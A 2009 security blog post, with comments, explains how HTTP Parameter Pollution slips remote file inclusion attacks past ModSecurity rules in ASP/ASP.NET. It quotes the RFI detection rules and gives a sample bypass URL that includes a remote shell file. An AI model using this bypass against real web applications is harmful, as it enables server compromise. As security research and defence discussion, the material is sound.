HTTP Parameter Pollution used as a WAFs bypass technique seems to be a very favored topic. Just a few updates regarding this matter...
Lavakumar Kuppan has released his paper as well as the security advisory on how to bypass mod_sec core rules in order to exploit SQL injections in ASP/ASP.NET environment. It is worth to mention that installations using ModSecurity <= 2.5.9 with ModSecurity Core Rules <= 2.5-1.6.1 are vulnerable thus you may consider to check your systems.
A new whitepaper titled "Detecting remote file inclusion attacks" was released by Breach Security. It discusses a generic rules set that will enable protecting applications from RFI attacks. Once again, the suggested RFI rules set is vulnerable to HPP bypass.
Most of the suggested rules may be very useful in order to detect generic RFI attacks but they are just not working against HPP attacks, in specific web frameworks.
IP Address
SecRule “ARGS” “@rx (ht|f)tps?://([\d\.]+)”Function INCLUDE
“t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,deny,phase:2,msg:'RFI’ “
SecRule “ARGS” “@rx \binclude\s*\([^)]*(ht|f)tps?://”
“t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,deny,phase:2,msg:’RFI’ “
Inclusion ends with question mark
SecRule “ARGS” “@rx (ft|htt)ps?.*\?+$”
“t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,deny,phase:2,msg:’RFI’ “
In case of ASP and ASP.NET (and other HTTP back-ends), it is still possible to inject multiple HTTP parameters containing two segments of the attack:
http://vulnerable_app/vulnerable_page?par=http://example.com/shell.txt&par=?
Resulting in "http://example.com/shell.txt,?". Since the pseudo shell filename is managed by the attacker, he/she may easily create a file named "shell.txt,". The following attack bypasses the other two rules as well.
Obviously, this is true for all different web technologies that consider multiple occurrences and concatenate those using different chars. ASP and ASP.NET are the most interesting examples of such behavior. Indeed, I understand that the suggested solution may provide a workable level of security, especially considering that PHP does not concatenate multiple parameters.
Besides WAFs stuff, it is important to remember that HPP is also about server and client side flaws. Well, in case it's not clear enough, some vulnerabilities that we are going to disclose will hopefully help to emphasize the concept.
Luca
4 comments:
June 18, 2009 at 12:24 AM
As written in the whitepaper the best practice to deliver protection from RFI attack is having 2 levels:
* zero-day protection
* positive security protection
The zero-day protection rules can be bypassed by the HPP but the positive security protection contains rules that can detect the example that you gave in your blog.
ModSecurity RFI positive security rule would say – if value in parameter “par” is not from allowed predefined values and value is URL - trigger RFI attack.
e.g. ‘par’ allows 1-4 digits
SecRule "ARGS:par" !^\d{1,4}$ "chain,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,deny,phase:2,msg:'Remote File Inclusion' "
SecRule "ARGS:par" (ht|f)tps?://
Or Katz
June 18, 2009 at 3:01 AM
We all know that whitelisting is not always possible due to time/money constraints, even if it’s the best way to protect our applications. Unfortunately, WAFs are very commonly used as out of the box solutions, using generic rules and blacklists.
Anyway, I see your point and I frankly support the idea of providing multiple lines of defense.
Cheers. Luca.
September 12, 2015 at 3:59 AM
September 12, 2015 at 3:59 AM
Post a Comment